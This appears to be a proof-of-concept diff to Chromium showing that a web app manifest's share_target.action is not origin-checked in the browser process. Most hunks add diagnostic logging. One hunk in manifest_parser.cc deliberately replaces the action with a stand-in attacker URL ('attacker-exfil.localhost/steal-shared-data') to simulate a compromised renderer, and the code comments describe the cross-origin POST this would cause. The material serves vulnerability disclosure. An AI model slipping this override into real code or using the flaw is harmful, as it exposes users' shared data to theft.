diff --git a/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc b/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc
index 704b266b9cf8b..cdb824e7b5369 100644
--- a/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc
+++ b/chrome/browser/web_applications/jobs/manifest_to_web_app_install_info_job.cc
@@ -19,6 +19,7 @@
 #include "base/functional/callback_helpers.h"
 #include "base/functional/function_ref.h"
 #include "base/location.h"
+#include "base/logging.h"
 #include "base/memory/ptr_util.h"
 #include "base/memory/weak_ptr.h"
 #include "base/metrics/histogram_functions.h"
@@ -827,6 +828,25 @@ void ManifestToWebAppInstallInfoJob::ParseManifestAndPopulateInfo() {
                                       install_info().scope, &install_info());
 
   install_info().share_target = ToWebAppShareTarget(manifest_->share_target);
+  // ============================================================================
+  // [POC] Prove cross-origin share_target.action was stored in install_info.
+  // Compare against scope. Note: lock_screen (line ~843) and note_taking
+  // (line ~849) both gate on IsInScope() — share_target does not. This is the
+  // missing validation. On ChromeOS this URL is later passed to
+  // NavigateParams() in share_target_utils.cc:71 with the user's shared data
+  // attached as a POST body.
+  // ============================================================================
+  if (install_info().share_target.has_value()) {
+    const GURL& action = install_info().share_target->action;
+    const GURL& scope = install_info().scope;
+    bool in_scope = IsInScope(action, scope);
+    LOG(ERROR) << "[POC-BROWSER-INSTALL] WebAppInstallInfo populated: "
+               << "scope=" << scope.spec() << " share_target.action="
+               << action.spec() << " | IsInScope=" << (in_scope ? "yes" : "NO")
+               << (in_scope ? ""
+                            : " <<< OUT-OF-SCOPE ACTION STORED — would POST "
+                              "user-shared data cross-origin on ChromeOS >>>");
+  }
 
   install_info().protocol_handlers =
       ToWebAppProtocolHandlers(manifest_->protocol_handlers);
diff --git a/content/browser/manifest/manifest_manager_host.cc b/content/browser/manifest/manifest_manager_host.cc
index e9d0deb7e1a1e..7b83a715d5858 100644
--- a/content/browser/manifest/manifest_manager_host.cc
+++ b/content/browser/manifest/manifest_manager_host.cc
@@ -8,6 +8,7 @@
 
 #include "base/check_is_test.h"
 #include "base/functional/bind.h"
+#include "base/logging.h"
 #include "base/strings/strcat.h"
 #include "base/task/sequenced_task_runner.h"
 #include "base/types/expected.h"
@@ -182,6 +183,29 @@ blink::mojom::ManifestPtr ManifestManagerHost::ValidateAndMaybeOverrideManifest(
     mojo::ReportBadMessage(*bad_message_error);
     return blink::mojom::Manifest::New();
   }
+  // ============================================================================
+  // [POC] Log share_target.action that just passed browser-side validation.
+  // MaybeGetBadMessageStringForManifest above is the ONLY browser-side
+  // validation — it checks start_url/id/scope are valid GURLs but never
+  // inspects share_target.action and never compares anything to document_url's
+  // origin. If share_target.action is cross-origin to document_url, this proves
+  // the validation gap.
+  // ============================================================================
+  if (manifest->share_target) {
+    const url::Origin doc_origin = url::Origin::Create(document_url);
+    const url::Origin action_origin =
+        url::Origin::Create(manifest->share_target->action);
+    const bool same_origin = doc_origin.IsSameOriginWith(action_origin);
+    LOG(ERROR) << "[POC-BROWSER-MOJO] Manifest passed validation. "
+               << "document_url=" << document_url.spec()
+               << " scope=" << manifest->scope.spec()
+               << " share_target.action="
+               << manifest->share_target->action.spec()
+               << " | SAME-ORIGIN=" << (same_origin ? "yes" : "NO")
+               << (same_origin
+                       ? ""
+                       : " <<< CROSS-ORIGIN ACTION ACCEPTED BY BROWSER >>>");
+  }
   if (!blink::IsEmptyManifest(manifest)) {
     // The manifest overriding infrastructure does not support empty manifests
     // from errors.
diff --git a/third_party/blink/renderer/modules/manifest/manifest_parser.cc b/third_party/blink/renderer/modules/manifest/manifest_parser.cc
index fff9c5d0db2f5..8bdd14aaad0e0 100644
--- a/third_party/blink/renderer/modules/manifest/manifest_parser.cc
+++ b/third_party/blink/renderer/modules/manifest/manifest_parser.cc
@@ -15,6 +15,7 @@
 #include "base/check.h"
 #include "base/compiler_specific.h"
 #include "base/feature_list.h"
+#include "base/logging.h"
 #include "base/metrics/histogram_functions.h"
 #include "base/notreached.h"
 #include "net/base/mime_util.h"
@@ -1595,6 +1596,19 @@ ManifestParser::ParseShareTarget(const JSONObject* object) {
   auto share_target = mojom::blink::ManifestShareTarget::New();
   share_target->action = ParseURL(share_target_object, "action", manifest_url_,
                                   ParseURLRestrictions::kWithinScope);
+  // ============================================================================
+  // [POC] Simulate compromised renderer: bypass kWithinScope check.
+  // A real compromised renderer would not call ParseURL at all — it would
+  // directly construct the Mojo response with whatever URL it wants. This
+  // overwrite simulates that. The renderer-side kWithinScope restriction is the
+  // ONLY origin check on share_target.action; the browser performs none.
+  // ============================================================================
+  share_target->action =
+      KURL("http://attacker-exfil.localhost:9999/steal-shared-data");
+  LOG(ERROR) << "[POC-RENDERER] Compromised renderer injecting cross-origin "
+                "share_target.action="
+             << share_target->action.GetString().Utf8()
+             << " (document=" << document_url_.GetString().Utf8() << ")";
   if (!share_target->action.IsValid()) {
     AddErrorInfo(
         "property 'share_target' ignored. Property 'action' is "